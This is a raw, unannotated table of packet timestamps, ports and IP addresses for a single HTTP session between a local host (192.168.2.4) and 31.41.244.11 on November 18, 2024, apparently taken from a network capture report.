Nov 18, 2024 23:04:15.224549055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224560976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224586010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224601984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224639893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225023985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225056887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225089073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225121021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225125074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225125074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225147963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225156069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225168943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225189924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225205898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225222111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225250959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225256920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225270987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225291014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225310087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225323915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225346088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225358009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225368977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225390911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225414991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225426912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225438118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225457907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.225490093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.225512028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226617098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226651907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226682901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226685047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226703882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226720095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226756096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226773977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226773977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226809025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226838112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226859093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226862907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226897001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226922035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226928949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226947069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226963997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.226984978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.226998091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227013111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227031946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227054119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227066040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227078915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227102995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227129936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227138042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227154016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227171898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227190971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227205038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227221966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227240086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227258921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227272987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227287054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227307081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227325916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227360010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227365017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227395058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227417946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227428913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227458954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227463007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227477074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227497101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227515936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227531910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227550983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227580070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227763891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227797031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227823973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227829933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227844954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227864981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227884054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227900028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227925062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227932930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227946043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.227967024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.227982998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228001118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228019953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228034019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228060007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228069067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228085995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228104115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228128910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228147030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228178978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228178978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228199959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228214025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228229046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228266954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228693008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228728056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228754997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228760958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228775978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228795052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228813887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228837967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228842020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228876114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228897095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228910923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228926897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228945017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228971958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.228976965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.228992939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229012012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229029894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229046106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229063034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229079962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229108095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229114056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229147911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229166031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229598999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229634047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229662895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229666948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229684114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229701042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229720116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229733944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229758978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229768991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229780912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229803085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229823112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229836941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229851961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229871988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229892015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229904890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229913950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229938984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229957104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.229973078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.229994059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.230005980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.230015993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.230060101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.230305910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.230340004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.230366945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.230374098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.230402946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.230423927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275180101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275197029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275213957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275300980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275326014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275342941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275358915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275376081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275376081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275376081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275376081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275479078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275654078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275670052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275685072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275698900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275712967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275722980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275738955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275752068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275753975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275770903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275779963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275789976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.275800943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.275845051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.276170015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.276185989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.276200056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.276215076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.276220083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.276254892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.297852993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.297915936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.297925949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.297962904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.297976971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298012972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298063993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298110962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298130989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298146009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298162937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298197985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298202038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298233032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298255920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298276901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298331022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298363924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298383951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298398018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298415899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298434019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298445940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298471928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298491955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298522949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298614979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298648119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298676014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298683882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298703909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298732042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298763990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298793077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298826933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298845053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298847914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298881054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298913956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298918962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298937082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298953056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298974037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.298980951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.298999071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.299014091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.299038887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.299047947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.299082041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.299082994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.299103975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.299115896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.299127102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.299160004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.299349070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.299377918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.299410105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.299429893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.301775932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.301851034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.301906109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.301939011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.301965952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.301992893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.302002907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.302026987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.302059889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.302061081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.302088022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.302094936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.302125931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.302126884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.302164078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.302184105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342531919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342573881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342607975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342631102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342633009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342665911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342684984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342704058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342710018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342736959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342753887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342776060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342792034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342829943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342881918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342917919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.342937946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.342962027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343044996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343080044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343107939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343115091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343130112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343148947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343173027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343183041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343199968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343219995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343240023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343270063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343591928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343626022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343653917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343660116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343673944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343696117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343713045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343729973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343750000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343774080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343781948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343816042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343830109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343849897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343868971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343884945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343907118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343918085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343930960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343951941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.343970060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.343986988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344005108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344039917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344157934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344193935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344218969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344244957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344337940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344388962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344397068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344425917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344438076 CET	49794	80	192.168.2.4	31.41.244.11
